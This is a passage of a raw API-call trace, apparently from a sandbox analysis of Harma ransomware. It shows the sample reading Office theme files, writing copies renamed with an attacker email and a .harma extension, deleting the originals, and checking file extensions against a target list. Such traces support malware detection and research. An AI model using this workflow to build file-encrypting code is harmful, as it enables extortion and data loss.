dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.818] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.818] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0145.819] GetLastError () returned 0x0 [0145.819] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x4732, lpOverlapped=0x0) returned 1 [0145.821] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x4740, lpOverlapped=0x0) returned 1 [0145.822] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.822] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.823] SetEndOfFile (hFile=0x368) returned 1 [0145.823] CloseHandle (hObject=0x368) returned 1 [0145.823] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.823] SetEndOfFile (hFile=0x338) returned 1 [0145.826] CloseHandle (hObject=0x338) returned 1 [0145.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0145.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.827] lstrlenW (lpString=".doc") returned 4 [0145.827] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".docx") returned 5 [0145.827] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.827] lstrlenW (lpString=".pdf") returned 4 [0145.827] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".xls") returned 4 [0145.827] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".xlsx") returned 5 [0145.827] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.827] lstrlenW (lpString=".ppt") returned 4 [0145.827] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.827] lstrlenW (lpString=".zip") returned 4 [0145.827] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".rar") returned 4 [0145.827] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".bz2") returned 4 [0145.827] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.827] lstrlenW (lpString=".7z") returned 3 [0145.827] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.827] lstrlenW (lpString=".dbf") returned 4 [0145.827] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.828] lstrlenW (lpString=".1cd") returned 4 [0145.828] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.828] lstrlenW (lpString=".jpg") returned 4 [0145.828] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.828] lstrlenW (lpString=".doc") returned 4 [0145.828] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".docx") returned 5 [0145.828] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.828] lstrlenW (lpString=".pdf") returned 4 [0145.828] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".xls") returned 4 [0145.828] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".xlsx") returned 5 [0145.828] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.828] lstrlenW (lpString=".ppt") returned 4 [0145.828] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.828] lstrlenW (lpString=".zip") returned 4 [0145.828] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".rar") returned 4 [0145.828] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".bz2") returned 4 [0145.828] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.828] lstrlenW (lpString=".7z") returned 3 [0145.829] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.829] lstrlenW (lpString=".dbf") returned 4 [0145.829] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.829] lstrlenW (lpString=".1cd") returned 4 [0145.829] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0145.829] lstrlenW (lpString=".jpg") returned 4 [0145.829] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.829] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.829] lstrlenW (lpString="Grid.eftx") returned 9 [0145.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.830] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=18639) returned 1 [0145.830] CloseHandle (hObject=0x338) returned 1 [0145.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0145.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0145.831] GetLastError () returned 0x0 [0145.831] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x48cf, lpOverlapped=0x0) returned 1 [0145.833] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0145.834] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.834] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0145.835] SetEndOfFile (hFile=0x368) returned 1 [0145.835] CloseHandle (hObject=0x368) returned 1 [0145.835] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.835] SetEndOfFile (hFile=0x338) returned 1 [0145.837] CloseHandle (hObject=0x338) returned 1 [0145.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0145.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.838] lstrlenW (lpString=".doc") returned 4 [0145.838] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.838] lstrlenW (lpString=".docx") returned 5 [0145.838] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.838] lstrlenW (lpString=".pdf") returned 4 [0145.838] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.838] lstrlenW (lpString=".xls") returned 4 [0145.838] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".xlsx") returned 5 [0145.839] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.839] lstrlenW (lpString=".ppt") returned 4 [0145.839] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString=".zip") returned 4 [0145.839] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".rar") returned 4 [0145.839] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".bz2") returned 4 [0145.839] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".7z") returned 3 [0145.839] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString=".dbf") returned 4 [0145.839] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString=".1cd") returned 4 [0145.839] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString=".jpg") returned 4 [0145.839] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.839] lstrlenW (lpString=".doc") returned 4 [0145.839] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".docx") returned 5 [0145.839] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.839] lstrlenW (lpString=".pdf") returned 4 [0145.839] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.839] lstrlenW (lpString=".xls") returned 4 [0145.840] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString=".xlsx") returned 5 [0145.840] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.840] lstrlenW (lpString=".ppt") returned 4 [0145.840] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.840] lstrlenW (lpString=".zip") returned 4 [0145.840] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString=".rar") returned 4 [0145.840] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString=".bz2") returned 4 [0145.840] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString=".7z") returned 3 [0145.840] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.840] lstrlenW (lpString=".dbf") returned 4 [0145.840] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.840] lstrlenW (lpString=".1cd") returned 4 [0145.840] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0145.840] lstrlenW (lpString=".jpg") returned 4 [0145.840] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.840] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.840] lstrlenW (lpString="Hardcover.eftx") returned 14 [0145.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.842] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=350689) returned 1 [0145.842] CloseHandle (hObject=0x338) returned 1 [0145.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0145.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.842] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.842] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0145.843] GetLastError () returned 0x0 [0145.843] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x559e1, lpOverlapped=0x0) returned 1 [0146.170] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0146.177] ReadFile (in: hFile=0x338, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0146.178] SetEndOfFile (hFile=0x368) returned 1 [0146.178] CloseHandle (hObject=0x368) returned 1 [0146.178] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.178] SetEndOfFile (hFile=0x338) returned 1 [0146.187] CloseHandle (hObject=0x338) returned 1 [0146.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0146.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.252] lstrlenW (lpString=".doc") returned 4 [0146.252] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.252] lstrlenW (lpString=".docx") returned 5 [0146.252] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.252] lstrlenW (lpString=".pdf") returned 4 [0146.252] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.252] lstrlenW (lpString=".xls") returned 4 [0146.252] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.252] lstrlenW (lpString=".xlsx") returned 5 [0146.252] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.252] lstrlenW (lpString=".ppt") returned 4 [0146.252] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString=".zip") returned 4 [0146.253] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".rar") returned 4 [0146.253] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".bz2") returned 4 [0146.253] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".7z") returned 3 [0146.253] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString=".dbf") returned 4 [0146.253] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString=".1cd") returned 4 [0146.253] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString=".jpg") returned 4 [0146.253] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.253] lstrlenW (lpString=".doc") returned 4 [0146.253] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".docx") returned 5 [0146.253] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.253] lstrlenW (lpString=".pdf") returned 4 [0146.253] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".xls") returned 4 [0146.253] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString=".xlsx") returned 5 [0146.253] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.253] lstrlenW (lpString=".ppt") returned 4 [0146.253] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.254] lstrlenW (lpString=".zip") returned 4 [0146.254] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.254] lstrlenW (lpString=".rar") returned 4 [0146.254] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.254] lstrlenW (lpString=".bz2") returned 4 [0146.254] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.254] lstrlenW (lpString=".7z") returned 3 [0146.254] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.254] lstrlenW (lpString=".dbf") returned 4 [0146.254] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.254] lstrlenW (lpString=".1cd") returned 4 [0146.254] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0146.254] lstrlenW (lpString=".jpg") returned 4 [0146.254] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.254] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.254] lstrlenW (lpString="Opulent.eftx") returned 12 [0146.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0146.320] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=32857) returned 1 [0146.320] CloseHandle (hObject=0x21c) returned 1 [0146.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0146.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0146.598] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.598] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0146.791] GetLastError () returned 0x0 